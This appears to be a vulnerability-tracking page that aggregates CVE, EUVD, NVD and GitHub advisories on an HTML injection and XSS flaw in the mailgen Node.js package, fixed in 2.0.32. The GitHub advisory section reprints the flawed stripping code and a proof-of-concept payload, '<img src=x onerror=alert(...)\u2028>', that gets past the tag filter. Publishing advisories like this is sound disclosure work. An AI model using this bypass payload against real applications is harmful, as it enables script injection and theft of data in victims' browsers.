Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim’s browser. Version 2.0.32 fixes the issue.

Source published

15 Oct 2025 16:52:39 UTC

Source modified

15 Oct 2025 17:15:16 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim’s browser. Version 2.0.32 fixes the issue.

Source published

Oct 15, 2025, 4:52:39 PM (timezone not stated)

Source modified

Oct 15, 2025, 5:15:16 PM (timezone not stated)

Observed here

11 Nov 2026 04:30:16 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim’s browser. Version 2.0.32 fixes the issue.

Source published

15 Oct 2025 17:16:00 UTC

Source modified

8 Oct 2026 11:10:00 UTC

Observed here

25 Oct 2026 03:17:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the `Mailgen.generatePlaintext(email)` method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt). ### Details The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string. ```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Decode HTML entities such as &copy; output = he.decode(output); // Strip all HTML tags from plaintext output output = output.replace(/<(.|\n)+?>/g, ''); // All done! return output; }; ``` The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities. A valid payload is: `<img src=x onerror=alert(1)\u2028>`. ### PoC ```javascript var Mailgen = require('mailgen'); // Configure mailgen by setting a theme and your product info var mailGenerator = new Mailgen({ theme: 'default', product: { // Appears in header & footer of e-mails name: 'Mailgen', link: 'https://mailgen.js/' // Optional product logo // logo: 'https://mailgen.js/img/logo.png' } }); var email = { body: { name: 'John <img src=x onerror=alert(document.body.innerHTML)\u2028> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', // Optional action button color text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; var emailText = mailGenerator.generatePlaintext(email); require('fs').writeFileSync('emailText.html', emailText, 'utf8'); ``` **Resulting output file (emailText.html)**: ```HTML Hi John <img src=x onerror=alert(document.body.innerHTML) > Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved. ``` ### Impact Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message). ### Credits Edoardo Ottavianelli (@edoardottt)

Source published

15 Oct 2025 19:29:36 UTC

Source modified

16 Oct 2025 07:57:36 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

Publisher rating · LOW